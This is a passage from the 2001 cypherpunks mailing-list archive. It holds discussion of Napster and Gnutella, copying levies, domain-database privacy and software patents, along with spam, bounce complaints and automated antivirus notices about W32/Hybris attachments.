And for everyone who turns wine into the art of living.

P.S.  This prestigious, solid-wood box, designed and made in Bordeaux, with 11 essential wine tasting accessories, makes an ideal gift. Think of giving it to someone special!


If you would prefer to not receive unsolicited mail from us, please click on the site below to permanently remove your e-mail address from our list.
http://www.winealley.com/wines/desmail.asp?id=cypherpunks at ssz.com&l=uk

This offer respects general sales conditions, which can be consulted at the following address: http://www.winealley.com/box/uk/




From George at Orwellian.Org  Thu Feb 15 18:55:47 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Thu, 15 Feb 2001 21:55:47 -0500 (EST)
Subject: Keep my fettuccini out of the microwave.
Message-ID: <200102160255.VAA19875@www9.aa.psiweb.com>


(wired link http://www.technologyreview.com/magazine/mar01/schmidt.asp)

Good? Bad? Useful for both, as usual...

http://www.inside.com/jcs/Story?article_id=23175&pod_id=13

----

#   Privacy Journal, By Robert Ellis Smith, June 1994 issue
#
#   The American Textile Partnership, a research consortium linked to the U.S.
#   Department of Energy, is sponsoring a research called "Embedded Electronic
#   Fingerprint" to develop a transponder the size of a grain of wheat that
#   could be attached to a garment until the owner threw it out.
#
#   Heretofor, this application has been considered only for security purposes.
#
#   The definition of "security", according to the textile industry magazine
#   'Bobbin', has been expanded to include "anti-counterfeit" tracking after
#   purchase. [What???]
#
#   Could a machine-readable tag on a person's clothing serve many of the same
#   tracking purposes an one embedded in the body?





From adam at cypherspace.org  Thu Feb 15 19:39:17 2001
From: adam at cypherspace.org (Adam Back)
Date: Thu, 15 Feb 2001 22:39:17 -0500
Subject: Why Gnutella Can't Scale. No, Really
Message-ID: <200102160339.WAA00981@modemcable005.191-202-24.mtl.mc.videotron.ca>



Jordan Ritter (napster co-founder) wrote this, which RAH forwarded to
the DBS list.

http://www.monkey.org/~dugsong/mirror/gnutella.html

So I'm presuming why people compare gnutella favorably to napster is
because napster is flawed at a different level: it is not robust
against legal attack.  The very recent developments highlight the
fragility of the napster model.

This is not a criticism of napster or gnutella, but comparing them
directly is difficult, gnutella is trying to do a much harder thing.
It is typically much easier to design, and build hierarchical systems.
Fully distributed algorithms and protocols with good characteristics
are hard to design.  But distributed systems _can_ be designed, and to
some extent their performance and scalability predicted.

So Gnutella has it's problems.  However I wouldn't say that
distributed sharing can't work, just that the first version of
Gnutella wasn't very scalable.  There are other systems: FreeNet,
MojoNation, which perhaps are better.


For one set of commentators the interesting factor is the ability of
the distributed document space to be censor resistant; it's one major
part of the application which generates the hype.  So Napster doomed
itself by being scalable enough to get enough users that it generated
enough press (mostly centered around distribution of arguably
copyrighted materials) to make the media industry notice it and the
predictable result follows.

It may be that Napster will continue in the form of the open napster
clones, even if Napster the company is prevented.  Anyone can start
napster servers at this point.  So this is the short term easier thing
to do: create lots of reasonably large individually hierarchical
napster clones.  We know the web is reasonably censor resistant, web
pages get shut down, but the content resurfaces at other sites, in
different jurisdictions, etc.  As long as there is an interest (and
there clearly is), new servers will pop up faster than the censors can
shut them down.

Adam

Personal opinions only, of course




From ANTIGEN_EXCHANGE at thinklinkinc.com  Thu Feb 15 22:45:53 2001
From: ANTIGEN_EXCHANGE at thinklinkinc.com (ANTIGEN_EXCHANGE)
Date: Thu, 15 Feb 2001 22:45:53 -0800
Subject: Antigen found W32/Hybris@m virus
Message-ID: <3475CE1F1D75D4118174009027A4CDE6322CDC@exchange.thinklinkinc.com>

Antigen for Exchange found enanito fisgon.exe infected with W32/Hybris at m
virus.
The file is currently Deleted.  The message, "Enanito si, pero con que
pedazo!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at ITC/Corporate/EXCHANGE.
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From honig at sprynet.com  Thu Feb 15 23:04:56 2001
From: honig at sprynet.com (David Honig)
Date: Thu, 15 Feb 2001 23:04:56 -0800
Subject: St Valentine the Terrorist
Message-ID: <3.0.5.32.20010215230456.009c9b30@207.69.200.219>


	
News this PM: Salinas electricity was cut by an aluminized mylar Valentines
Day
balloon.

Clearly the National Center For Infrastructure Security And Ornamental
Helium Balloons
needs more funding.







From statiro at yahoo.com  Thu Feb 15 13:07:37 2001
From: statiro at yahoo.com (Christian)
Date: Thu, 15 Feb 2001 23:07:37 +0200
Subject: $750 PER REFERRAL?!
Message-ID: <06b270108210f21WEBSRV1@mail.xnet.ro>


  
  Hello,
 
 One of the biggest turnoffs in Internet Marketing is the need to recruit others 
to do the same thing in order to make money and even when people sign up, with 
the best of intentions, a very high proportion drop out soon after.

THERE IS NO NEED TO RECRUIT WITH THIS BUSINESS.

If you decide to recruit there is a referral payment of  (#500) and you could 
recruit without doing anything, as there is an optional, built-in facility on 
your web site. However, you do not need to recruit to make money. There is an 
initial payment of (#50) to cover domain registration but you do not have to 
pay for the site until you are earning (#10,000) per month. They do everything 
to get you started and provide instructions after that. All you need is a computer. 
The business is based in London, England and will pay in any currency.

The downside, if you want to call it that, is that the business involves the 
number-one money maker on the net, though it is strictly legal and discrete. 
Under the circumstances, I will only send you the URL for further information 
if you request it sending an email to 

statiro at yahoo.com 

and putting "PLEASE SEND" in the subject heading. There is a limit to the number 
of sites, so don't delay. You could miss out on a very big opportunity and somebody 
has to do it.

  Kindest regards,

           Christian 

---------------------------------------------------


""""If you want to be
removed from my email database,please mail to statiro at yahoo.com with 'REMOVE' 
in the subject line.""""






From reeza at flex.com  Fri Feb 16 02:03:00 2001
From: reeza at flex.com (Reese)
Date: Fri, 16 Feb 2001 00:03:00 -1000
Subject: 
In-Reply-To: <001501c09836$d13bff80$681499c1@josep>
Message-ID: <4.3.2.7.2.20010215235229.03225cb0@flex.com>

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From commerce at home.com  Thu Feb 15 21:08:29 2001
From: commerce at home.com (Me)
Date: Fri, 16 Feb 2001 00:08:29 -0500
Subject: Keep my fettuccini out of the microwave.
References: <200102160255.VAA19875@www9.aa.psiweb.com>
Message-ID: <021401c097d6$810b70a0$0100a8c0@golem>


From: <George at orwellian.org>
> (wired link http://www.technologyreview.com/magazine/mar01/schmidt.asp)

"It's like giving them the opportunity to rule the world," says the head of a
marketing association for a product that is giving people 'Big Brother' fears.
:P




From ANTIGEN_BAMBI at cognex.com  Thu Feb 15 22:48:03 2001
From: ANTIGEN_BAMBI at cognex.com (ANTIGEN_BAMBI)
Date: Fri, 16 Feb 2001 01:48:03 -0500
Subject: Antigen found W32/Hybris-B virus
Message-ID: <0E2AA31B2BF2C845BC9F8D7E330BDFF44354@bambi.pc.cognex.com>


Antigen for Exchange found enanito fisgon.exe infected with W32/Hybris-B
virus.
The file is currently Deleted.  The message, "CDR: Enanito si, pero con que
pedazo!", was
sent from Hahaha  and was discovered in IMC Queues\Inbound
located at Cognex/Natick/BAMBI.




From amtonner at uwaterloo.ca  Fri Feb 16 04:29:25 2001
From: amtonner at uwaterloo.ca (Andrew Tonner)
Date: Fri, 16 Feb 2001 07:29:25 -0500 (EST)
Subject: Taxes on hard drives
In-Reply-To: <Pine.SOL.4.30.0102161316270.24291-100000@kruuna.Helsinki.FI>
Message-ID: <Pine.SOL.4.05.10102160704480.29629-100000@rees.math.uwaterloo.ca>




On Fri, 16 Feb 2001, Sampo Syreeni wrote:

> On Wed, 14 Feb 2001, Tim May wrote:
> 
> >(But some of us had the last laugh. The "Home Recording Act" tax came
> >with the proviso that unlimited "non-commercial" copying was now
> >unprosecutable.

Many suggest that, when the decision in the Betamax case came along, this
freedom was granted de facto for any devices, with or without the
AHRA, making the consumer elecronics industry's caving-in over SCMS
and device taxes look pretty pathetic.
 
> Somehow I think no one even thinks about creating such a provision, here in
> Europe...

Many of the blank audio recording media taxes in place in Europe
actually do have a provision like this.  Similarly, the
recently-implemented Canadian blank audio recording media levy (which just
happens to be the one I know best for some reason... ) comes with a change
in copyright law making legal any personal (copies your use only) copying
of audio recordings from any source (even those you don't own).

The associated only recovers "losses" associated with this change in
the law. This creates a wierd situation where I can legally borrow a
friend's recording and make a copy, (and thus this falls under the
scope of the levy) but not have them make the copy and give it to me
(which doesn't). 

Generally, I disagree with laws like this one, because some of those
paying the levy are not necessarily benefitting proportionally from the
new freedom. (In practice, most of the people "benefitting" don't give a
wet slap one way or the other whether the copying they're doing is legal).  

Just my $0.02...
-aT




From cupid at adultfriendfinder.com  Fri Feb 16 07:29:44 2001
From: cupid at adultfriendfinder.com (cupid at adultfriendfinder.com)
Date: 16 Feb 2001 07:29:44 -0800
Subject: Adult Friend Finder Cupid Report for oddodoodo
Message-ID: <20010216152944.29317.qmail@e81.friendfinder.com>


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at http://adultfriendfinder.com

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    GENDER: 
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    ---------------------------
    
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From sparky at suba.com  Fri Feb 16 06:54:33 2001
From: sparky at suba.com (sparky)
Date: Fri, 16 Feb 2001 08:54:33 -0600
Subject: dutch take strong stance on software-patents
In-Reply-To: <3A8CFEF4.5335ADDE@ricardo.de>
Message-ID: <3A8CEAC9.20470.7A327@localhost>


Got a reference? 

On 16 Feb 2001, at 11:20, Tom wrote: 

> 
> the dutch parliament members have made a decision today that
> software-patents in the netherlands shall either remain banned, and
> the law be cleared up in this respect, or subject to a scrutiny that
> shall be strict enough to eliminate most of the 30,000 "garbage
> patents" (as the meeting report calls it!) currently granted by the
> european patent office.
> 
> 





From George at Orwellian.Org  Fri Feb 16 06:41:04 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Fri, 16 Feb 2001 09:41:04 -0500 (EST)
Subject: NS sells domain database. What a shock.
Message-ID: <200102161441.JAA24558@www5.aa.psiweb.com>


WSJ.com, 2/16/2001
#    
#    Network Solutions Offers Its Database
#    Of Domain-Names to Marketing Firms
#    
#    By THOMAS E. WEBER 
#    Staff Reporter of THE WALL STREET JOURNAL
#    
#    The Internet's phone book is up for sale -- and though the 
#    listings may represent a treasure trove for marketers, the move 
#    also risks a serious privacy backlash.
#    
#    At issue are millions of entries in the domain-name database 
#    operated by the Network Solutions unit of VeriSign Inc., Mountain 
#    View, Calif. It is, essentially, the master address book for 
#    the Internet. Since the dawn of commerce on the Web, companies 
#    that want their own dot-com addresses have registered with Network 
#    Solutions.
#    
#    Now Network Solutions is selling that information. "On your mark, 
#    get set, go!" gushes a recent advertisement in a newsletter for 
#    direct marketers. "Available for the first time ever. 
#    Approximately 6 million unique customers, sliced and diced for 
#    you to target prospects, learn about a specific audience or retain 
#    customers ... Take this information and run with it."
#    
#    Exactly what's for sale may come as a surprise to many of the 
#    individuals and businesses who have registered Web addresses. 
#    In addition to names, street addresses, and other routine 
#    information gathered when someone signs up for a domain name, 
#    Network Solutions promises marketers information on whether sites 
#    are dormant or up and running, whether they're set up for 
#    e-commerce -- even whether a site has security precautions 
#    installed.
#    
#    Network Solutions says that while the sales pitch is new, it 
#    actually has been quietly selling such data for at least a year. 
#    Now, the company says, it is moving more aggressively to cash 
#    in on the information. "It's old wine in new bottles," says Doug 
#    Wolford, general manager for Web presence at VeriSign.
#    
#    The move underscores the growing pressure on Internet companies 
#    to find new sources of revenue. Now that the Net boom has slowed, 
#    many dot-com companies view customer databases as a tempting 
#    asset.
#    
#    But such strategies can be perilous given consumer concerns about 
#    privacy online. Last year, online-ad concern DoubleClick Inc. 
#    was forced to back off a plan to combine Web-tracking data with 
#    offline databases after the move triggered a firestorm. And when 
#    online retailer Toysmart.com shut down in May, a plan to sell 
#    its customer database provoked a similar controversy. Walt Disney 
#    Co., a Toysmart investor, offered to purchase and then destroy 
#    the data after the Federal Trade Commission moved to block 
#    Toysmart's plan.
#    
#    The Network Solutions database is a key part of the Internet's 
#    infrastructure. Internet computers rely on numerical addresses 
#    to route information around. When someone registers a domain 
#    name, the information is used to tell computers all over the 
#    Internet how to translate that dot-com address into the 
#    appropriate numerical address.
#    
#    Registrants also must provide the name, telephone number and 
#    e-mail address of a technical contact for their site -- 
#    information that can prove vital for someone trying to trace 
#    a hacker's attack or verify whether an online business is 
#    legitimate.
#    
#    Under its agreement with the U.S. government to operate the 
#    database, Network Solutions is required to provide public access 
#    to the data. Anyone can visit the Network Solutions site and 
#    look up information on Web addresses one by one. And indeed, 
#    some marketers -- especially those sending unsolicited "spam" 
#    e-mail -- have laboriously harvested information this way.
#    
#    But for marketing purposes, it's much more useful to have a 
#    complete set of data outright. Network Solutions offers marketers 
#    this option -- for a price and under its guidelines, which include 
#    stripping out e-mail addresses and forbidding the use of the 
#    information for e-mail marketing.
#    
#    Mr. Wolford says the data are typically used by companies that 
#    want to send direct postal mail to Web businesses or simply want 
#    to merge the data with existing lists to flesh out customer 
#    dossiers. Network Solutions also allows its customers to opt 
#    out of the list and takes steps to insure that only businesses, 
#    not consumers, are included in the marketing efforts.
#    
#    While downplaying any privacy concerns, Network Solutions is 
#    telling marketers that its data are a great way to sell things, 
#    especially where small businesses are concerned. "Nobody offers 
#    a better snapshot of this hard-to-reach group ... over 80% of 
#    our customers are small businesses, representing every major 
#    small business category you could hope to reach," proclaims an 
#    information page at www.dotcom.com, the site Network Solutions 
#    uses to promote its data business.
#    
#    And the fact remains that it's impossible to obtain a Web address 
#    without registering for one -- either with Network Solutions 
#    or with one of the other companies that popped up when the U.S. 
#    government opened up what had been a Network Solutions monopoly 
#    on dot-com domain names.
#    
#    Consumer advocates say any organized effort to use the data for 
#    purposes other than the intended goal of obtaining an address 
#    is troubling. "There's an increasing loss of faith in the ability 
#    to have your information used only for reasonable, legitimate 
#    purposes," says Lauren Weinstein, a privacy advocate who writes 
#    an e-mail newsletter about cyberspace issues. Mr. Weinstein 
#    alerted his readers to the Network Solutions effort in a bulletin 
#    this week.
#    
#    Registering a domain name is a simple process that can be done 
#    online in minutes. Network Solutions charges $35 a year for each 
#    address, and asks for a contact name, phone number and e-mail 
#    address that go into its database.
#    
#    So how does it know whether a site is up and running, or whether 
#    it is engaged in e-commerce, or any of the other pieces of 
#    information that it is promising to sell to marketers? Mr. Wolford 
#    says the company sends software "robots" out onto the Web, using 
#    much the same method that search engines use to catalog sites. 
#    Those robots can look for key phrases such as "online ordering" 
#    or "credit cards accepted" to determine whether a site has 
#    e-commerce.





From ptrei at rsasecurity.com  Fri Feb 16 06:55:03 2001
From: ptrei at rsasecurity.com (Trei, Peter)
Date: Fri, 16 Feb 2001 09:55:03 -0500
Subject: CHOATE, etal: Unsubscribe Rob@nihilist.com
Message-ID: <F504A8CEE925D411AF4A00508B8BE90A91EBAA@exna07.securitydynamics.com>


[Apologies in advance for the multiple posting; this had to get
 to everyone -pt]

Jim (and other cypherpunk node operators):

The spate of "Mail Delivery Failure" messages we've been
seeing for the last few days are due to messages sent to a
user "rob at nihilist.com", apparently a very temporary (and
now dead) web mail address at www.another.com.

I've exchanged mail with the postmaster (richard at uk.another.com),
and he clearly regards this as Someone Elses Problem, and has no
intention of ceasing to send the bounce notices.

I strongly advise everyone running a cpunk node to check for, and
delete rob at nihilist.com. It's not like he/she/it can't resubscribe if
they want to.

Sigh.... Yet Another Attack now exists against the cypherpunks
S/N ratio.

Peter Trei




From tom at ricardo.de  Fri Feb 16 01:14:36 2001
From: tom at ricardo.de (Tom)
Date: Fri, 16 Feb 2001 10:14:36 +0100
Subject: Taxes on hard drives
References: <Pine.LNX.4.10.10102151123580.7204-100000@clueserver.org>
Message-ID: <3A8CEF7C.2903183C@ricardo.de>


Alan Olsen wrote:
> Personally I see the whole unauthorized copying issue as a reaction to the
> excesive prices charged for music.  Think of it as "market forces" at
> work.  

exactly. it's not so much that the market has become illegal, it's more
that the legal walls have been moved, and are still moving. but then
again, laws become irrelevant if the market forces are strong enough.
lawmakers have been trying to make drugs or prostitution or religion
illegal at various times over the past 5000 years or so and the success
has always been pretty much zero. with the new technology, we'll just
add a few more areas, that's all. the law can move out of the way or get
shoved aside (as in prostitution laws, which are largely ignored even
where they still exist). of course, in the short term, there'll still be
lots of victims and the inquisitors will get rich before they're seen
for what they really are.




From hahaha at sexyfun.net  Fri Feb 16 10:31:39 2001
From: hahaha at sexyfun.net (Hahaha)
Date: Sun, 16 Feb 2001 10:31:39
Subject: Snowhite and the Seven Dwarfs - The REAL story!
Message-ID: <mailman.365.1576007496.31620.cypherpunks-legacy@lists.cpunks.org>



The original message is kept in:

  ssl.gcinet.net:/storage3/var/spool/qmailscan/quarantine

where the System Anti-Virus Administrator can further diagnose it.

The Email scanner reported the following when it scanned that message:

--- 

---sweep results ---
>>> Virus 'W32/Hybris-B' found in file /storage3/var/spool/qmailscan/ssl.gcinet.net9823410827615/sexy_virgin.scr

---




From bear at sonic.net  Fri Feb 16 10:36:31 2001
From: bear at sonic.net (Ray Dillinger)
Date: Fri, 16 Feb 2001 10:36:31 -0800 (PST)
Subject: Why Gnutella Can't Scale. No, Really
In-Reply-To: <200102160339.WAA00981@modemcable005.191-202-24.mtl.mc.videotron.ca>
Message-ID: <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>




On Thu, 15 Feb 2001, Adam Back wrote:

>It may be that Napster will continue in the form of the open napster
>clones, even if Napster the company is prevented.  Anyone can start
>napster servers at this point.  

I don't know if it implements exactly the same protocol, but 
SuSE 7.1 (released on the 12th of February, which is an interesting 
date considering the timing of the napster ruling) contains something 
called "gnapster". 

check http://www.suse.com.

I haven't downloaded it yet; I'll see what it is next time I'm 
building a new box.

					Ray




From camelot at dsi-epubs.net  Fri Feb 16 02:37:44 2001
From: camelot at dsi-epubs.net (Camelot Events Reminder)
Date: Fri, 16 Feb 2001 10:37:44 +0000
Subject: Join us at XML DevCon!
Message-ID: <200102161724.LAA04599@einstein.ssz.com>


+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
If you do not wish to receive future email messages, please forward
this message to camelot-remove at dsi-epubs.net.
(be sure to forward the ENTIRE message, or you may not be removed!)
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

XML DevCon is a series of conferences designed to expose developers to
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and programming with XML application programming interfaces (APIs).
The conferences also expose developers to XML application development using
technologies such as middleware, databases, scripting, messaging, content
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To register and for more information visit: http://www.xmldevcon2001.com

Please join us at our upcoming events:

LONDON, ENGLAND
XML DevCon Europe - Spring 2001
Conference: February 21-23, Exhibition: February 22-23
Novotel  - London, England

NEW YORK, NEW YORK
XML DevCon - Spring 2001
Conference: April 8-11, Exhibition: April 9-10
New York Marriott Marquis, New York City

You'll benefit from -
* Essential and critical XML training.
* Select from multiple tracks, sessions, pre-conference tutorials,
  Night School Sessions, hands-on workshops and panel discussions.
* Comprehensive coverage of enterprise XML and eBusiness technologies and
  initiatives (ebXML and UDDI).
* A world-class faculty including Henry Balen, Jonathan Borden, Ron Bourret,
  Lee Buck, Kurt Cagle, Alex Chaffee, Mark Colan, Roger Costello,
  Paul Cotton, Bob DuCharme, John Evdemon, Beth Gold-Bernstein,
  Molly Holzschlag, Beno�t Marchal, Jim Melton, JP Morgenthal, Steve Muench,
  Gavin Nichol, Ken North, David Orchard, Jonathan Robie, Michael Rys,
  Gerry Seidman, Matt Sergeant, Aaron Skonnard, Simon St. Laurent,
  James Tauber, Tommie Usdin, and many others.
* Two-day expo showcasing bleeding edge XML tools and services

You'll be joined by fellow Internet Technology Developers, XML Experts and
Enthusiasts, including:
* Programmers, developers, engineers
* Software Architects/System Engineers
* Web Developers
* Product Managers/Project Leaders
* Consultants/Educators

For conference registration and a Free Exhibit Pass visit http://www.xmldevcon2001.com







































































***DSIID60342<cypherpunks at einstein.ssz.com>***




From brodats at dragonet.es  Fri Feb 16 08:37:50 2001
From: brodats at dragonet.es (d6064@dragonet)
Date: Fri, 16 Feb 2001 10:37:50 -0600
Subject: No subject
Message-ID: <001501c09836$d13bff80$681499c1@josep>

tengo un programa con problemas en el dongle 
puedes ayudarme ?
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From SPaulThom at cs.com  Fri Feb 16 07:51:06 2001
From: SPaulThom at cs.com (SPaulThom at cs.com)
Date: Fri, 16 Feb 2001 10:51:06 EST
Subject: Greetimgs
Message-ID: <85.6f508e2.27bea66a@cs.com>


Greetings!

If you want to know where anarchy is going in the next few years, check out 
the <A HREF="http://ourworld.cs.com/spaulthom">C&B</A> website. The 
Association page will simply blow you away.

Shannon




From eventseries at match.com  Fri Feb 16 09:07:48 2001
From: eventseries at match.com (eventseries at match.com)
Date: 16 Feb 2001 11:07:48 -0600
Subject: Match.com has a special U2 offer
Message-ID: <042ca4807171021MASSMAIL1@onlymail4.oneandonly.com>


We have a special offer for all of our Match.com users in the Seattle/Tacoma area.  It's the hottest ticket of the year...it's sold out...it's U2...and you're invited! That's right, U2 is coming to Tacoma for the hottest concert of the year, and Match.com, in conjuction with ETS/Concert Caravans, is inviting you to be a part of the concert event of the year.  Through this special offer, you will receive General Admission tickets to the Sold Out U2 concert on April 12th in Tacoma, admission to the wildest pre-party in town and bus transportation to and from the Tacoma Dome for only $129.95.  The pre-party will be from 3:30-7:00 at Jillians in Tacoma - just a short ride away from the Tacoma Dome - complete with a cash bar and complimentary appetizers.  Buses will leave for the concert when the gates open at 6:30.  Be sure to enjoy the party, but remember to catch the shuttle bus to the Tacoma Dome in plenty of time to get a fabulous place to witness this once in a lifetime eve!
nt!
!
!




From tom at ricardo.de  Fri Feb 16 02:20:36 2001
From: tom at ricardo.de (Tom)
Date: Fri, 16 Feb 2001 11:20:36 +0100
Subject: dutch take strong stance on software-patents
Message-ID: <3A8CFEF4.5335ADDE@ricardo.de>



the dutch parliament members have made a decision today that
software-patents in the netherlands shall either remain banned, and the
law be cleared up in this respect, or subject to a scrutiny that shall
be strict enough to eliminate most of the 30,000 "garbage patents" (as
the meeting report calls it!) currently granted by the european patent
office.




From gbroiles at netbox.com  Fri Feb 16 11:23:49 2001
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 16 Feb 2001 11:23:49 -0800
Subject: Why Gnutella Can't Scale. No, Really
In-Reply-To: <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>; from bear@sonic.net on Fri, Feb 16, 2001 at 10:36:31AM -0800
References: <200102160339.WAA00981@modemcable005.191-202-24.mtl.mc.videotron.ca> <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>
Message-ID: <20010216112348.D23741@ideath.parrhesia.com>


On Fri, Feb 16, 2001 at 10:36:31AM -0800, Ray Dillinger wrote:
> On Thu, 15 Feb 2001, Adam Back wrote:
> 
> >It may be that Napster will continue in the form of the open napster
> >clones, even if Napster the company is prevented.  Anyone can start
> >napster servers at this point.  
> 
> I don't know if it implements exactly the same protocol, but 
> SuSE 7.1 (released on the 12th of February, which is an interesting 
> date considering the timing of the napster ruling) contains something 
> called "gnapster". 
> 
> check http://www.suse.com.
> 
> I haven't downloaded it yet; I'll see what it is next time I'm 
> building a new box.

It's a GTK/Gnome Napster client - see <http://freshmeat.net/projects/gnapster/>
for more. It's been around for a few months at least - it seems to run
fine under FreeBSD, too. 

--
Greg Broiles gbroiles at netbox.com
PO Box 897
Oakland CA 94604




From declan at well.com  Fri Feb 16 09:05:35 2001
From: declan at well.com (Declan McCullagh)
Date: Fri, 16 Feb 2001 12:05:35 -0500
Subject: Pakistani journalists jailed, printing press destroyed
Message-ID: <5.0.2.1.0.20010216120522.01ffb480@mail.well.com>



Pakistani journalists jailed, printing press destroyed

---------- The Frontier Post, an English-language newspaper in Pakistan, 
was closed by the government and some of its staff imprisoned after it 
printed a letter that criticized the founder of Islam. The crime of 
blasphemy is punishable by death. (02/16/01) 
http://washingtonpost.com/wp-dyn/articles/A12543-2001Feb15.html




From abs at squig.org  Fri Feb 16 13:10:56 2001
From: abs at squig.org (Alex B. Shepardsen)
Date: Fri, 16 Feb 2001 13:10:56 -0800 (PST)
Subject: CHOATE, etal: Unsubscribe Rob@nihilist.com
In-Reply-To: <Pine.LNX.3.96.1010216150221.356Q-100000@einstein.ssz.com>
Message-ID: <Pine.LNX.4.33.0102161308280.18634-100000@snuffy.whitetrash.org>


Hi Jim,

Can't the node operators set up some sort of filter to catch bounce
messages and prevent them from being sent to the list? It seems logical to
block anything from postmaster@, MAILER-DAEMON, etc...

Just a thought...

Alex


On Fri, 16 Feb 2001, Jim Choate wrote:

>
> Hi Peter
>
> He isn't subscribed through SSZ, no nihilist.com or another.com in the
> bunch. If another alias comes to light please pass it along and I'll
> delete it.
>
> As an aside, I usually only let bounces from SSZ subscribers last about a
> week. If it isn't fixed in that time I figure it isn't going to.
>
>     ____________________________________________________________________
>
>            Before a larger group can see the virtue of an idea, a
>            smaller group must first understand it.
>
>                                            "Stranger Suns"
>                                            George Zebrowski
>
>        The Armadillo Group       ,::////;::-.          James Choate
>        Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
>        www.ssz.com            .',  ||||    `/( e\      512-451-7087
>                            -====~~mm-'`-```-mm --'-
>     --------------------------------------------------------------------
>
> On Fri, 16 Feb 2001, Trei, Peter wrote:
>
> > [Apologies in advance for the multiple posting; this had to get
> >  to everyone -pt]
> >
> > Jim (and other cypherpunk node operators):
> >
> > The spate of "Mail Delivery Failure" messages we've been
> > seeing for the last few days are due to messages sent to a
> > user "rob at nihilist.com", apparently a very temporary (and
> > now dead) web mail address at www.another.com.
> >
> > I've exchanged mail with the postmaster (richard at uk.another.com),
> > and he clearly regards this as Someone Elses Problem, and has no
> > intention of ceasing to send the bounce notices.
> >
> > I strongly advise everyone running a cpunk node to check for, and
> > delete rob at nihilist.com. It's not like he/she/it can't resubscribe if
> > they want to.
> >
> > Sigh.... Yet Another Attack now exists against the cypherpunks
> > S/N ratio.
> >
> > Peter Trei
> >
>




From decoy at iki.fi  Fri Feb 16 03:18:37 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Fri, 16 Feb 2001 13:18:37 +0200 (EET)
Subject: Taxes on hard drives
In-Reply-To: <a05010403b6b1040f24ac@[207.111.241.219]>
Message-ID: <Pine.SOL.4.30.0102161316270.24291-100000@kruuna.Helsinki.FI>


On Wed, 14 Feb 2001, Tim May wrote:

>(But some of us had the last laugh. The "Home Recording Act" tax came
>with the proviso that unlimited "non-commercial" copying was now
>unprosecutable.

Somehow I think no one even thinks about creating such a provision, here in
Europe...

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From decoy at iki.fi  Fri Feb 16 03:29:12 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Fri, 16 Feb 2001 13:29:12 +0200 (EET)
Subject: Slashdot | European Record Industry Goes After Personal Computers
In-Reply-To: <3A8BDCA1.3F317582@ricardo.de>
Message-ID: <Pine.SOL.4.30.0102161327190.24291-100000@kruuna.Helsinki.FI>


On Thu, 15 Feb 2001, Tom wrote:

>examples: where I live, making a copy for a friend is LEGAL.

If I'm not entirely mistaken, one part of the legislative efforts this
thread started from is *precisely* to make any personal copying of AV
material illegal.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From tom at ricardo.de  Fri Feb 16 04:38:49 2001
From: tom at ricardo.de (Tom)
Date: Fri, 16 Feb 2001 13:38:49 +0100
Subject: Slashdot | European Record Industry Goes After Personal 
 Computers
References: <Pine.SOL.4.30.0102161327190.24291-100000@kruuna.Helsinki.FI>
Message-ID: <3A8D1F59.67E4ADCF@ricardo.de>


Sampo Syreeni wrote:
> >examples: where I live, making a copy for a friend is LEGAL.
> 
> If I'm not entirely mistaken, one part of the legislative efforts this
> thread started from is *precisely* to make any personal copying of AV
> material illegal.

I haven't read the latest draft of these proposals, but the older ones I
read did not go quite that far. in addition, any such provision would
collide with mentioned right, so one or the other would have to go.
removing the right to personal copies would open a whole can of worms
that I hope our legislators don't want opened.




From jchoate at dev.tivoli.com  Fri Feb 16 11:46:58 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Fri, 16 Feb 2001 13:46:58 -0600
Subject: Slashdot | Appeals Court Rejects Copyright Extension Challenge
Message-ID: <3A8D83B2.58D9B157@dev.tivoli.com>


http://slashdot.org/articles/01/02/16/1850229.shtml
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From George at Orwellian.Org  Fri Feb 16 10:52:00 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Fri, 16 Feb 2001 13:52:00 -0500 (EST)
Subject: Guess who Clinton pardoned. What a shock.
Message-ID: <200102161852.NAA10849@www5.aa.psiweb.com>


Per FoxNews.com's Rich Pardon story...

Clinton pardoned former CIA director John Deutch for
mishandling classified documents (he was an AOL luser).

Too bad Deutch never got to sit in prison for months
with the lights on 24/7.




From mean-green at hushmail.com  Fri Feb 16 14:09:44 2001
From: mean-green at hushmail.com (mean-green at hushmail.com)
Date: Fri, 16 Feb 2001 14:09:44 -0800 (PST)
Subject: cryptome on Mojo
Message-ID: <200102162226.OAA08350@user5.hushmail.com>

A snapshot of cryptome.org, taken on February 9th 2001, has been published 
to published on Mojo Nation and verified as available.  The Mojo address 
of the .zip library is: http://localhost:4004/id/o15ER9C5UyLr2OLf2M8lvwJv_9c/

mg

From aimee.farr at pobox.com  Fri Feb 16 12:22:31 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Fri, 16 Feb 2001 14:22:31 -0600
Subject: Int'l. Criminal Court Debate - Tomorrow 3:00 p.m. E.T.
Message-ID: <NEBBJHBKILFDJEFIABHPIENLCCAA.aimee.farr@pobox.com>



> Veterans Radio Network will broadcast a show about the International
> Criminal Court tomorrow, Saturday, February 17 at 3:00 p.m. E.T.  The
> show will be hosted by Jim Brosemer.  Mr. Brosemer has invited Yale law
> professor Ruth Wedgewood and me [KENT SYNDER, LIBERTYCOMMITTEE]
> to debate the issue.  The program can be
> heard via the Internet by going to
> http://www.veteransradionetwork.com/current.html .
-courtesy of thelibertycommittee.org

Additl lnks @ http://iccnow.org (pro ICC);
http://www.thelibertycommittee.org (con ICC)

_______________________________
Aimee E. Farr
Law Office Of Aimee E. Farr
5400 Bosque, Suite 675
Waco, Texas 76710-4418
T: 254.751.0030
F: 254.751.0963
